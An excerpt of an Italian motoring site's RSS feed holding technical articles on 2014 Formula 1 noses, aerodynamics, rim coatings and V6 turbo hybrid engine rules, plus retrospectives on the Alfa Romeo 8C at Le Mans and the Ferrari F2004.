scuderie nel 2013. Un altro punto su cui possono lavorare i tecnici è la forma che prenderà la parte finale delle pance proprio intorno agli scarichi prima che si congiungono al centro vettura. In quella zona si proverà ad avere monoposto molto strette per far affluire il maggior quantitativo di aria verso il diffusore almeno che il genio Newey non si inventi un modo per mandare di nuovo aria calda ai lati delle gomme usando la parte degli scarichi che esce immediatamente dalle bancate del motore V6.  Staremo a vedere come invierà aria calda ai lati delle gomme per sigillare il fondo il genio Newey del resto c&#8217;è ancora la possibilità di usare l&#8217;aria calda che arriva dai radiatori che deve essere smaltita, nella zona posteriore dove c&#8217;è una certa libertà del regolamento.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>L&#8217;aerodinamica delle Formula 1 2014 Parte 1: &#8220;Il Muso&#8221;</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 10 Dec 2013 13:02:35 +0000</pubDate>
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					<description><![CDATA[<p>Del cambiamento di cui saranno oggetto i motori in formula 1 che passeranno da V8 aspirato al discusso v6 turbo abbiamo già ampiamente trattato in questa sezione. E&#8217; il momento di capire come sarà il telaio che dovrà alloggiare il motore e la veste aerodinamica che contraddistingueranno le monoposto del mondiale 2014. Si tratta di [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2013/12/10/laerodinamica-delle-formula-1-2014-parte-i-muso/">L&#8217;aerodinamica delle Formula 1 2014 Parte 1: &#8220;Il Muso&#8221;</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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<p class="wp-block-paragraph">Del cambiamento di cui saranno oggetto i motori in formula 1 che passeranno da V8 aspirato al discusso v6 turbo abbiamo già ampiamente trattato in questa sezione. E&#8217; il momento di capire come sarà il telaio che dovrà alloggiare il motore e la veste aerodinamica che contraddistingueranno le monoposto del mondiale 2014.</p>



<p class="wp-block-paragraph">Si tratta di una modifica aerodinamica tra le più invasive e importanti della storia della massima serie. In questa trattazione vogliamo fornire all&#8217;appassionato lettore uno strumento per capire cosa cambia e se ci sono margini di interpretazione che può fare la differenza anche nel 2014.</p>



<p class="wp-block-paragraph">Cominciamo dal muso. Nella foto sopra n°1 si vede nella parte sinistra le monoposto 2013 , nella parte destra la monoposto secondo le idee della federazione con le specifiche 2014. &nbsp;La Fia stava già da tempo provando a inserire nel regolamento una norma che abbassasse il muso delle monoposto. La punta delle monoposto del prossimo anno sarà visivamente più basso.</p>



<p class="wp-block-paragraph">Si tratta di una modifica radicale che cambierà in modo importante l&#8217;aspetto delle vetture guardandole dal frontale. Il motivo che ha spinto le scuderie ad alzare sempre di più il muso delle monoposto è quello di far arrivare un maggior afflusso di aria al fondo per generare carico aerodinamico. L&#8217;intento della Fia è proprio quello di limitare il flusso di aria abbassando la parte anteriore ad un minimo regolamentare.</p>



<p class="wp-block-paragraph">In questo modo non solo si crea un interferenza importante ma si da la possibilità al pilota di avere una posizione di guida più comoda e dalla visibilità maggiore della parte anteriore della vettura.</p>



<p class="wp-block-paragraph">Ultimo aspetto, ma non meno importante, è quello legato alla sicurezza. Un muso più basso è sicuramente meno invasivo in caso di incidente. In pratica l&#8217;altezza del muso scende ad un valore massimo di 550 mm dal suolo.</p>



<p class="wp-block-paragraph">Il problema invece rimane nella parte del muso più alta all&#8217;altezza del asse ruota anteriore che ancora rimarrà invariato a 625mm.</p>



<p class="wp-block-paragraph">Questo farà si che le scuderie proveranno ad aggirare il nuovo regolamento abbassando il muso solo nella parte finale con protuberanze sottili che cercheranno di dare il meno fastidio possibile. Questo per lasciare ancora la massima possibilità di passaggio dell&#8217;aria nella parte inferiore della scocca sotto i piedi del pilota.</p>



<figure class="wp-block-image"><img decoding="async" width="570" height="341" src="https://www.giornalemotori.com/wp-content/uploads//2013/12/2014-regs-car-btype-nose.jpg" alt="2014-regs-car-btype-nose" class="wp-image-33051" title="L&#039;aerodinamica delle Formula 1 2014 Parte 1: &quot;Il Muso&quot; 1243" srcset="https://www.giornalemotori.com/wp-content/uploads/2013/12/2014-regs-car-btype-nose.jpg 570w, https://www.giornalemotori.com/wp-content/uploads/2013/12/2014-regs-car-btype-nose-300x179.jpg 300w" sizes="(max-width: 570px) 100vw, 570px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Foto 2)</p>



<p class="wp-block-paragraph">Nella foto 2 mostriamo una delle interpretazioni che possono essere usate per raggirare il regolamento. La federazione ha compreso la lacuna regolamentare e ha cercato di porre rimedio obbligando le squadre a dare una continuità tra la parte alta del muso e l&#8217;abbassamento improvviso della punta con un unico arco di curva (come nella foto 1), ma molte scuderie, le più grandi in testa, &nbsp;hanno protestato sul tardivo intervento asserendo di aver già sviluppato musi per le prove crash e sarebbe stati impegnativo per i costi e i tempi apportare le modifiche. In sostanza fatta la legge già si è trovato l&#8217;inganno.</p>



<p class="wp-block-paragraph">Vedremo musi bruttissimi che si abbassano all&#8217;improvviso con forme tipo formichiere che poco serviranno allo scopo che si era prefissata la Fia. Ultima modifica che interessa la parte anteriore è la dimensione dell&#8217;ala. Sarà ridotta nella larghezza totale. &nbsp;Il tutto per migliorare l&#8217;efficienza aerodinamica e la riduzione dell&#8217;importanza del carico che dovrebbe causare meno perdite in fase di scia facilitando il sorpasso.</p>



<p class="wp-block-paragraph">Vedremo se tutto questo impegno da parte della federazione sarà disatteso dalla fantasia dei progettisti già all&#8217;opera per arginare la norma e se darà più fiducia ai piloti che dovranno anche dare una mano provando a sorpassare indipendente dall&#8217;efficacia delle nuove norme.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2013/12/10/laerodinamica-delle-formula-1-2014-parte-i-muso/">L&#8217;aerodinamica delle Formula 1 2014 Parte 1: &#8220;Il Muso&#8221;</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>La Ferrari ha provato fino all&#8217;ultimo con importanti aggiornamenti</title>
		<link>https://www.giornalemotori.com/2013/12/03/la-ferrari-ha-provato-fino-allultimo-con-importanti-aggiornamenti/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=la-ferrari-ha-provato-fino-allultimo-con-importanti-aggiornamenti</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 03 Dec 2013 11:29:07 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>La Ferrari ci ha provato fino alla fine a dare una possibilità ai suoi piloti di poter lottare per il secondo posto nel mondiale costruttori. Forse con il senno di poi si può dire che i tecnici di Maranello hanno impiegato un po troppo tempo per capire e per tentare il tutto per tutto nello [&#8230;]</p>
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<p style="text-align: justify">La Ferrari ci ha provato fino alla fine a dare una possibilità ai suoi piloti di poter lottare per il secondo posto nel mondiale costruttori. Forse con il senno di poi si può dire che i tecnici di Maranello hanno impiegato un po troppo tempo per capire e per tentare il tutto per tutto nello sviluppo della monoposto. In Brasile la Rossa ha portato delle importanti modifiche ai deflettori che si trovano al lato dell cassone porta masse radianti.</p>
<p style="text-align: justify">Nel attacco anteriore del cassone laterale ci sono due schermi. Molti team, tra i quali Redbull e Sauber usano tali schermi ad arco collegati alla parte superiore della fiancata per dare un po di ordine al flusso aria che passa all&#8217;esterno della monoposto di fondamentale importanza per alimentare la zona posteriore dove ci sono, lo scivolo estrattore e gli scarichi ad affetto coanda.</p>
<p style="text-align: justify">La Ferrari si è distinta in Brasile per aver adottato una soluzione particolare. Anche gli schermi Ferrari componevano un arco sulla fiancata ma al centro dello stesso i tecnici di Maranello hanno messo una piccola aletta che divergeva verso l&#8217;esterno. Una sorta di soluzione ibrida tra lo schermo ad arco tipo Redbull e Sauber e le alette sulla fiancata tipo Mercedes e McLaren. In effetti da come si è comportata la vettura soprattutto nel bilanciamento in gara sembra che abbia funzionato piuttosto bene. Quanto siano state decisive però è ancora tutto da dimostrare.</p>
<p style="text-align: justify">Ma volendo analizzare nel dettaglio la foto in altro si vede come l&#8217;aria che passa all&#8217;interno dello schermo ad arco forma una sorta di doppio condotto che raddrizza il flusso e lo costringe a stare vicino alla fiancata. Questa azione potrebbe tenere l&#8217;aria calda che proviene dallo scarico ad effetto conada più interna alla ruota lateralmente al profilo estrattore. Forse potrebbe aver aiutato a creare un po di quello schermo termico che serve a far lavorare decisamente meglio il fondo vettura come abbiamo già spiegato in occasione dell&#8217;articolo sulla Redbull.</p>
<p style="text-align: justify">Da notare infine proprio davanti alla fiancata la piccola telecamera che monitorizza il calore sulle gomme anteriori. Prima assoluta sulla Rossa ma  già vista però sulle rivali come la Mercedes.</p>
<p style="text-align: justify">Daniele Amore</p>
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		<title>Un rivestimento speciale per i cerchi controlla le temperature delle gomme</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 23 Nov 2013 09:23:59 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>  Enzo Ferrari asseriva che i costruttori inglesi non dovessero fregiarsi del titolo di costruttori in quando non facevano tutto in casa ma compravano i componenti dai migliori fornitori sul mercato usando l&#8217;appellativo di Garagisti. Il vecchio Drake sapeva anche che con le modifiche meccaniche si guadagnano decimi ma con le gomme che lavorano bene [&#8230;]</p>
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<p style="text-align: justify">Enzo Ferrari asseriva che i costruttori inglesi non dovessero fregiarsi del titolo di costruttori in quando non facevano tutto in casa ma compravano i componenti dai migliori fornitori sul mercato usando l&#8217;appellativo di Garagisti. Il vecchio Drake sapeva anche che con le modifiche meccaniche si guadagnano decimi ma con le gomme che lavorano bene puoi recuperare anche i secondi. In ogni modo anche un costruttore totale come la Ferrari e Mercedes deve fare i conti con alcuni componenti che per forza di cose deve comprare. Le gomme e i cerchi su cui calettano. La differenza sta anche nello scegliere i migliori fornitori che offrono il migliore materiale e la migliore tecnologia possibile.</p>
<p style="text-align: justify">Tutto ciò per spiegare che sia la Mercedes ma anche la Redbull poi hanno utilizzato un particolare rivestimento superficiale per l&#8217; interno dei loro cerchi. Come di vede nella foto a sinistra c&#8217;è un cerchio Mercedes con un rivestimento nero con delle alette e a destra quello RedBull con un rivestimento nero uguale ma con una serie di piccole fossette. Questo rivestimento è stato creato da un produttore italiano la Nanoprom, ed è una vernice superficiale a base di un componente chiamato Polisyl. In pratica è si tratta di un rivestimento superficiale che protegge le superfici che si usurano dagli agenti atmosferici e anche usato sulle barche migliora nettamente la penetrazione nell&#8217;acqua per la riduzione dell&#8217;attrito si dice che questa vernice sia usata anche per la carrozzeria della Redbull per migliorare la penetrazione aerodinamica.</p>
<p style="text-align: justify">Usare questo prodotto su un cerchio da formula 1 ha la funziona di stabilizzare e aumentare il deflusso di aria calda dai freni all&#8217;interno del cerchio stesso verso l&#8217;esterno raddrizzando le turbolenze che in quella zona dono enormi. Un flusso controllato all&#8217;interno della ruota consente di tenere anche sotto controllo la temperatura del cerchio in magnesio. Siccome il magnesio è un ottimo conduttore termico il calore viene direttamente trasferito alle gomme con tutti i danni che si conoscono.  Va da se che controllare i flussi non vorticosi può anche permettere alle scuderie di avere i cerchi nelle temperature desiderate per far funzionare il cerchio come una sorta di termocoperta interna in gara in funzione in base alle esigenze.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2013/11/us-rim-heating-tyres-11.jpg"><img decoding="async" class="alignleft size-full wp-image-32473" alt="us-rim-heating-tyres (1)" src="https://www.giornalemotori.com/wp-content/uploads//2013/11/us-rim-heating-tyres-11.jpg" width="258" height="266" title="Un rivestimento speciale per i cerchi controlla le temperature delle gomme 1249"></a>La thermal camera nella foto,  mostra come la RedBull usi questa vernice protettiva e le fossette interne per tenere la temperatura costante in curva togliendo più in fretta aria calda verso l&#8217;esterno. Come si vede nelle immagini in alto, una curva affrontata da Vettel ad Austin la temperatura ad ingresso curva è maggiore che nella fase finale della curva dove invece dovrebbe essere più alta per lo sforzo in curva. Ma la cosa sorprendente è l&#8217;utilità di questa vernice sui rettilinei come si vede nella parte bassa della foto con gomme calde anche sul dritto. Unite alle lemelle e alle fossette il flusso aria può essere controllato nella sua eliminazione o stagnazione. Se si riesce a controllare la velocità di deflusso dell&#8217;aria calda dai freni si tengono caldi i cerchi anche sui lunghi rettilinei. Viene da se che se un cerchio resta caldo anche la gomma che rimane sopra viene tenuta calda e in ingresso di curva si ha la temperatura ideale mentre le altre vetture Ferrari in testa entrano in curva a gomme fredde con un evidente perdita di grip e poi scaldano troppo non potendo controllare le temperature al centro curva. Un sistema del genere per quanto semplice può anche portare vantaggi in termini di tempo sul giro anche dell&#8217;ordine di otto decimi in determinati tracciati.  In effetti torniamo al discorso di partenza se lavorano bene le gomme Pirelli si guadagna molto di più di qualsiasi diavoleria meccanica o aerodinamica. Il fatto che questa azienda la Nanoprom sia in terra Emiliana e i suoi effetti benefici li hanno scoperti prima in UK dalle aziende come Mercedes e RedBull, la dice lunga sul fatto che non ha senso costruirsi tutto da soli se poi si trascurano certi dettagli che fanno un enorme differenza.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Andiamo alla scoperta dei nuovi V6 Turbo 1.6 litri che useranno in F1 nel 2014</title>
		<link>https://www.giornalemotori.com/2013/10/17/andiamo-alla-scoperta-dei-nuovi-v6-turbo-1-6-litri-che-useranno-in-formula-1-nel-2014/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=andiamo-alla-scoperta-dei-nuovi-v6-turbo-1-6-litri-che-useranno-in-formula-1-nel-2014</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 17 Oct 2013 12:55:23 +0000</pubDate>
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		<category><![CDATA[Auto]]></category>
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					<description><![CDATA[<p>La Formula 1 come diciamo ormai da tempo sta cambiando in modo abbastanza radicale. L&#8217;abbandono delle attuali unità propulsive di 2,4 litri V8 lascerà il posto a delle più piccole unità V6 turbo da 1.6 litri che saranno meno appetibili dal punto di vista del sound. ma sicuramente più efficienti dal punto di vista energetico. [&#8230;]</p>
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<p class="wp-block-paragraph">La Formula 1 come diciamo ormai da tempo sta cambiando in modo abbastanza radicale. L&#8217;abbandono delle attuali unità propulsive di 2,4 litri V8 lascerà il posto a delle più piccole unità V6 turbo da 1.6 litri che saranno meno appetibili dal punto di vista del sound. ma sicuramente più efficienti dal punto di vista energetico. E&#8217; proprio sull&#8217;ottimizzazione delle risorse energetiche che la Fia ha puntato per lo sviluppo del regolamento delle monoposto del 2014.</p>



<p class="wp-block-paragraph">Nell&#8217;attuale formula 1 la monoposto è concepita per lavorare nella massima efficienza cercando di continuo un equilibrio tra penetrazione aerodinamica e l&#8217;utilizzo di quest&#8217;ultima per recuperare carico verticale. Oggi si usano deflettori, diffusori, fondi particolarmente efficienti, l&#8217;energia degli scarichi per far lavorare le componenti aerodinamiche anche quando questi non dovrebbero. Oggi ci sono due scuole di pensiero. Una che tende e migliorare l&#8217;efficienza e di conseguenza la penetrazione per avere più prestazioni con minore dispendio una su tutte è proprio la Force India ma anche la recente evoluzione Sauber, monoposto che hanno un ottima efficienza su piste veloci. Dall&#8217;altro c&#8217;è la Redbull che sacrifica efficienza, anzi utilizzando la massimo l&#8217;energia della combustione sprecandola a vantaggio del carico aerodinamico in curva e in trazione con evidenti vantaggi come si è visto dal dominio della RB9.</p>



<p class="wp-block-paragraph">Nella prossima stagione l&#8217;utilizzo dei motori V6 Turbo con la loro conformazione di scarichi e l&#8217;abbinamento a tecnologie ibride ancora più spinte come l&#8217;utilizzo dell&#8217;ERS (recupero energetico) vincolato al turbo e il classico KERS apriranno una miriade di soluzioni e di possibilità sia dal punto di vista meccanico che aerodinamico su come sfruttare tutte le potenzialità del sistema. Unico vincolo un occhio particolare alla efficienza energetica unico vincolo irrinunciabile da parte della Fia.</p>



<p class="wp-block-paragraph">Il cuore della innovazione sarà data proprio dalla combinazione del V6 con un motore elettrico direttamente alimentato dal propulsore a benzina con cui lavorerà in simbiosi. In pratica il motore endotermico mediante la turbina sarà accoppiato ad un sistema di recupero energia detto MGU-H che accumulerà una determinata quantità di energia che trasformerà in corrente elettrica alimentando un motore elettrico direttamente collegato all&#8217;albero a gomiti del V6 benzina chiamato MGU-K.</p>



<p class="wp-block-paragraph">Il motore V6 girerà per regolamento a 15.000 giri a minuto, con una pressione limitata per regolamento del turbo, e l&#8217;adozione dell&#8217;iniezione diretta, erogherà circa 600 cv e sarà vincolato ad &nbsp;un cosumo di carburante di 100kg di benzina per ogni ora di corsa. Per fare un esempio un motore da endurance votato al contenimento dei consumi di 2.7 KM/Litro rispetto alla formula 1 attuale che consuma 1.6 KM/Litro. Questo fa capire come chiaramente i motoristi di formula 1 dovranno recuperare quasi 25 anni di sviluppo rispetto ai prototipi che da tempo puntano sull&#8217;efficienza nelle gare endurance in un solo anno!</p>



<p class="wp-block-paragraph">Per aiutare i progettisti il motore V6 da 600cv sarà aiutato dalla unità MGU-K &nbsp;de dara all&#8217;albero a gomiti fino a 161 cv aggiuntivi. In teoria questo dovrebbe garantire nella massima funzionalità dei due sistemi una potenza di 760 cv ad una monoposto di formula 1 2014. Il condizionale è d&#8217;obbligo sulla potenza massima. Infatti tutto dipende da quanta energia il sistema di recupero primario collegato al turbo MGU-H fornirà al motore ausiliario e quanto questo a sua volta potrà attingere dall&#8217;altra fonte che sarà il recupero secondario di energia in frenata come avviene sulle monoposto attuali.</p>



<p class="wp-block-paragraph">Nelle fasi di frenata infatti il motore ausiliario può contare su un recupero di energia di 2MJ(Mega Joule). Il Joule, per chi non fosse ferrato &nbsp;è l&#8217;unità di misura dell&#8217;energia, del lavoro&nbsp;e del calore&nbsp;, qualche volta si usa anche la caloria come unità di misure. &nbsp;In sostanza&nbsp;è il lavoro svolto esercitando la forza di un newton per una distanza di un metro, perciò la stessa quantità può essere riferita come netwon metro. Detto questo questo quantitativo aggiuntivo di energia potrà sfruttarlo sia l&#8217;unità MGU-H per alimentar il motore collegato l&#8217;albero a gomiti, che l&#8217;MGH-U per aiutare il turbo nella sua fase iniziale dove c&#8217;è il famoso turbo lag, ovvero il momento a bassi giri dove la turbina non genera pressione. I 2MJ aggiuntivi saranno immagazzinati come oggi in delle batteria a ioni di litio.</p>



<p class="wp-block-paragraph">La batteria può anche immagazzinare un eventuale eccesso di energia elettrica alimentata dalla turbina all MGU-H e quindi accumulare altra corrente che però non potrà essere rilasciata al motore extra per più di 4MJ al giro completo. Da qui l&#8217;importanza della mappatura motore. Infatti bisogna capire in percentuale quanto del motore V6 si vuole sfruttare, quanta energia si vuole conservare e quanta se ne vuole sfruttare e in che punto del tracciato necessita. Una cosa di non poco conto se si considera che usare meno il motore endotermico a benzina vuol dire anche avere meno gas di scarico, che per inciso a dispetto di quello che pensa qualche illuso avrà una funzione fondamentale anche per l&#8217;aerodinamica delle monoposto del prossimo anno.</p>



<p class="wp-block-paragraph">Ovviamente i motorista Renault sembra già a buon punto da questo punto di vista collaborerà in modo stretto con ogni team per uno sviluppo indipendente dell&#8217;integrazione dei vari sistemi. Infatti le scuderie necessiteranno di uno staff interno che integrato con quello del motorista metteranno in collegamento le varie parti del motore per ottenere la massima efficienza in funzione delle proprie esigenze di telaio e di guida del pilota. Senza contare che il tutto va comunque ancora abbinato al sistema KERS che resta in funzione e di cui abbiamo parlato in un altro articolo in recente passato.</p>



<p class="wp-block-paragraph">Inutile dire che chi troverà per prima la quadratura del cerchio tra i componenti del motore benzina, quelli elettrici aggiuntivi, il kers e l&#8217;aerodinamica avrà un vantaggio molto più ampio di quello che si è potuto vedere con le RB9 di quest&#8217;anno sulla concorrenza con la Redbull già in prima linea e in avanzata fase di sviluppo su questa strada.</p>



<p class="wp-block-paragraph">Ecco le caratteristiche secondo regolamento in schema del motore V6 Turbo 2014</p>



<p class="wp-block-paragraph">• 1600 cc V6 quattro tempi con un angolo di 90 banche e<br>tre specifiche per le bielle<br>• 80 mm Alesaggio<br>• Quattro valvole (dimensione minima dello stelo 5 mm) per cilindro<br>• Nessuna fasatura variabile delle valvole<br>• No aspirazione variabile tromboncini aspirazione fino al 2015<br>• Molte restrizioni rivedute su materiali dei componenti ( non specificati)<br>• iniezione diretta con pressione massima di esercizio di<br>500 bar. Un singolo iniettore per cilindro<br>• Una singola candela convenzionale e una bobina singola per ogni cilindro<br>• Il gas di scarico è specificato dimensione e posizione di uscita<br>• Massimo due terminali di scarico con varie restrizioni alla posizione di uscita indicata<br>• Numero massimo di 15.000 giri al minuto.&nbsp;Nessun limite pressione del collettore aspirazione<br>• Una turbina monostadio e un solo compressore monostadio collegati da un albero parallelo all&#8217;asse dell&#8217;albero motore ( in linea tra le bancate) &nbsp;e al massimo 25 mm dalla mezzeria della vettura. nessuna geometria variabile del turbo-compressore<br>• ricircolo dei gas di scarico ora consentiti ( EGR)<br>• motore / generatore elettrico MGU-H devono essere meccanicamente collegate alla turbina di scarico e devono funzionare con un rapporto di velocità fissa rispetto ad essa, può essere ridotta.&nbsp;Massima 125.000 rpm.&nbsp;Nessun limite alla sua potenza<br>• motore / generatore MGU-K elettrico collegato al motore, deve essere eseguito con rapporto di velocità fissa rispetto ad esso.&nbsp;Massimo 50.000 rpm.&nbsp;Coppia massima 200 Nm.&nbsp;Potenza massima 120 kW (161 CV)<br>• immagazzinare l&#8217;energia elettrica (ES) deve essere situata all&#8217;interno della cellula di sopravvivenza e di peso tra 20 e 25 kg<br>• norme di carburante invariato (rispetto alle attuali monoposto)<br>• ECU standard, come oggi, con un po &#8216;di spazio per lo sviluppo di software di controllo ( Oggi è circa il 2% tra posizione farfalla e mappatura reale)<br>• misuratore di portata del carburante al fine di garantire la conformità alle massime portate come da illustrazione di accompagnamento (debimetro sulle vetture di serie)<br>• Albero motore deve essere sulla mezzeria auto, a 90 mm ​​al di sopra del piano di riferimento ( come specificato da regolamento su telaio)<br>• Peso minimo di unità di potenza, 145 kg<br>• Centro di gravità del motore (bricentro ) deve trovarsi ad almeno 200 mm al di sopra del riferimento piano<br>• Supporti motori standardizzati.<br>• Numero massimo di cinque motori per pilota per la stagione 2014; quattro per il 2015</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>24H Le Mans 90ans: il dominio Alfa Romeo</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Sat, 22 Jun 2013 01:51:36 +0000</pubDate>
				<category><![CDATA[Ultimi articoli]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Alfaromeo 8C e le vittorie a Le Mans</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph"> Al mondo vi sono pochi costruttori nel settore delle automobili che possano vantare un prestigio e una tradizione pari a quelli che indiscutibilmente contraddistinguono l&#8217;Alfa Romeo. Nel corso degli anni, la Casa del Biscione si è misurata con avversari e concorrenti in ogni campo, dalle grandi corse alla produzione di serie, riuscendo ad affermare sempre il proprio stile che è figlio di un&#8217;innata attitudine sportiva.</p>



<p class="wp-block-paragraph">Tra le maggiori competizioni ove <a href="https://www.giornalemotori.com/2023/02/26/alfa-romeo-nuova-giulia-e-stelvio/" data-type="post" data-id="122359">Alfa Romeo</a> ha corso, vi è ovviamente anche la 24 Ore di Le Mans: in questa competizione, vero banco prova per testare le doti velocistiche e durature del mezzo, Alfa Romeo si è imposta per ben 4 volte vincendo dal 1931 al 1934.</p>



<p class="wp-block-paragraph">Ovviamente il solo Tazio Nuvolari, vincitore dell&#8217;edizione 1933 assieme a Raymond Sommer, non bastava per vincere: c&#8217;era bisogno anche di una macchina competitiva e i tecnici di Arese, capitanati dal genio Vittorio Jano, sfornarono una vettura invincibile sotto ogni aspetto come la 8C.</p>



<p class="wp-block-paragraph">Questa vettura, dotata di un propulsore di 2300 cc (come dice il nome stesso) venne realizzata per competere sulle piste più importanti del Mondo ottenendo risultati incredibili, che le hanno permesso di essere oggi una delle più belle e ambite vetture storiche esistenti, quasi introvabili. Già vincitrice del<strong>&nbsp;</strong>primo Campionato del Mondo&nbsp;del 1925 con il modello P2, progettata sempre da Jano, la casa del biscione decise di affidare all’ingegnere l’evoluzione della sua creatura, creando un motore 8 cilindri in linea (già montato dalla stessa P2) con doppio albero a canne in testa e sovralimentato da un compressore Roots.</p>



<p class="wp-block-paragraph">La vera novità introdotta da Jano fu l’albero motore&nbsp;progettato in due parti, con in mezzo due ingranaggi cilindrici a dentatura elicoidale:&nbsp;uno di questi azionava il compressore Roots, mentre&nbsp;l’altro azionava gli ingranaggi collegati all’albero a camme.&nbsp;Grazie a queste novità meccaniche, la 8C 2300 permise all’Alfa Romeo di competere sulle piste più famose e sotto la guida dei piloti più importanti al mondo, vincendo un gran numero di gare e ricevendo numerosi elogi e apprezzamenti da tutta la stampa europea.</p>



<p class="wp-block-paragraph">Uno dei sei esemplari rielaborati da Jano esordì in pista a Monza il 19 giugno 1931. Per quell’occasione, la macchina guidata da Tazio Nuvolari sviluppava 165 cavalli a 5400 giri al minuto. L’Alfa Romeo vinse la gara ed in seguito a quell’epico e vincente esordio, al nome “tecnico” 8C 2300 si aggiunse il nome “Monza”, per ricordare la grande impresa ottenuta dall’Alfa. </p>



<p class="wp-block-paragraph">Tale denominazione portò fortuna in quanto la “Monza” dominò incontrastata la Targa Florio dal 1931 al 1935 e si affermò anche alla Mille Miglia del 1932 e 1933 condotta da due mostri sacri come Nuvolari e Borzacchini. Negli anni seguenti il modello fu sviluppato e potenziato nella cilindrata. Nel 1931 vide la luce anche la potente Alfa Romeo 8C 3000 Le Mans, un’altra auto sportiva, esordiente alla Eireann Cup e che stupì il mondo dell’auto vincendo per 4 anni consecutivi la 24 ore di Le Mans. Macchina storica, vincente e di fascino allo stesso tempo, la 8C 2300 è un mito dell’Alfa Romeo che non potrà essere mai cancellato per aver fatto la storia dell’automobilismo sportivo.</p>
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		<title>Monoposto leggendarie &#8211; Ferrari F2004</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Tue, 29 Jan 2013 03:13:19 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[F2004]]></category>
		<category><![CDATA[Ferrari]]></category>
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					<description><![CDATA[<p>Anche se la filosofia di base del progetto della F2004 è rimasta la stessa &#8211; cioè quella di ottimizzare l&#8217;efficienza aerodinamica, abbassare il baricentro e portare al massimo le prestazioni derivanti dai pneumatici Bridgestone e dal motore 053 &#8211; ogni area della vettura è stata rivista per poter fare un ulteriore passo in avanti in [&#8230;]</p>
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<p class="wp-block-paragraph">Anche se la filosofia di base del progetto della F2004 è rimasta la stessa &#8211; cioè quella di ottimizzare l&#8217;efficienza aerodinamica, abbassare il baricentro e portare al massimo le prestazioni derivanti dai pneumatici Bridgestone e dal motore 053 &#8211; ogni area della vettura è stata rivista per poter fare un ulteriore passo in avanti in termini di prestazioni e si può quindi dire che quasi tutti i componenti sono stati riprogettati. Inoltre, tutti i gruppi e i sistemi sono stati rivisti per ottimizzare sia le prestazioni che gli interventi su di essi alla luce delle procedure e degli orari del weekend di gara. In sintesi, non sono stati fatti cambiamenti radicali ma interventi molto approfonditi.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/rLBSsTT/Ferrari3-jpg-14628bb01b61e431965e31a94b0be64d.jpg" alt="Ferrari3 jpg 14628bb01b61e431965e31a94b0be64d" title="Monoposto leggendarie - Ferrari F2004 1250"><figcaption>Monoposto leggendarie - Ferrari F2004 1256</figcaption></figure>



<p class="wp-block-paragraph">La F2004 è la cinquantesima monoposto costruita dalla Ferrari per partecipare al Campionato del Mondo di Formula 1. Il progetto, contraddistinto dalla sigla 655, rappresenta un&#8217;ulteriore evoluzione dei concetti già espressi nella F2003-GA e tutti gli aspetti della macchina sono stati completamente riprogettati, cercando di creare le migliori condizioni per ottenere la massima prestazione dal nuovo motore 053 e dalle gomme Bridgestone.</p>



<p class="wp-block-paragraph">La configurazione aerodinamica è stata ottimizzata alla luce delle modifiche introdotte nel regolamento tecnico, migliorandone l&#8217;efficienza. Inoltre, il baricentro della vettura è stato ulteriormente abbassato ed è stata perfezionata la distribuzione dei pesi, sia sul telaio che sul motore.</p>



<p class="wp-block-paragraph">Il telaio è nuovo, come disegno e come costruzione: il peso è stato ridotto ed è stata migliorata la struttura rispetto alla scocca della F2003-GA. La carrozzeria, i radiatori, gli scarichi e la parte posteriore sono stati ridisegnati, ottenendo un aumento delle prestazioni sotto il profilo aerodinamico.</p>



<p class="wp-block-paragraph">Le sospensioni anteriore e posteriore sono state riviste, tanto per migliorare il comportamento dinamico della vettura e quindi ottenere una maggiore efficienza nello sfruttamento degli pneumatici Bridgestone, quanto per ottimizzare il rendimento dell&#8217;intero pacchetto aerodinamico. Nuovi materiali sono stati utilizzati nella produzione del propulsore e della trasmissione, al fine di ridurre il peso e gli ingombri.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://i.ibb.co/M5Jtj1LY/wxrmrhs9dp901.jpg" alt="" title="Monoposto leggendarie - Ferrari F2004 1251"><figcaption>Monoposto leggendarie - Ferrari F2004 1257</figcaption></figure>



<p class="wp-block-paragraph">Le modifiche introdotte nel regolamento sportivo riguardo al numero di motori che possono essere utilizzati nel weekend del Gran Premio hanno comportato una nuova definizione degli obiettivi di progetto del motore 053: mantenere la massima affidabilità pur con la necessità di dover sostenere una percorrenza almeno doppia rispetto al predecessore, cercando anche di migliorarne le prestazioni. Anche questo motore è portante ed è montato longitudinalmente.</p>



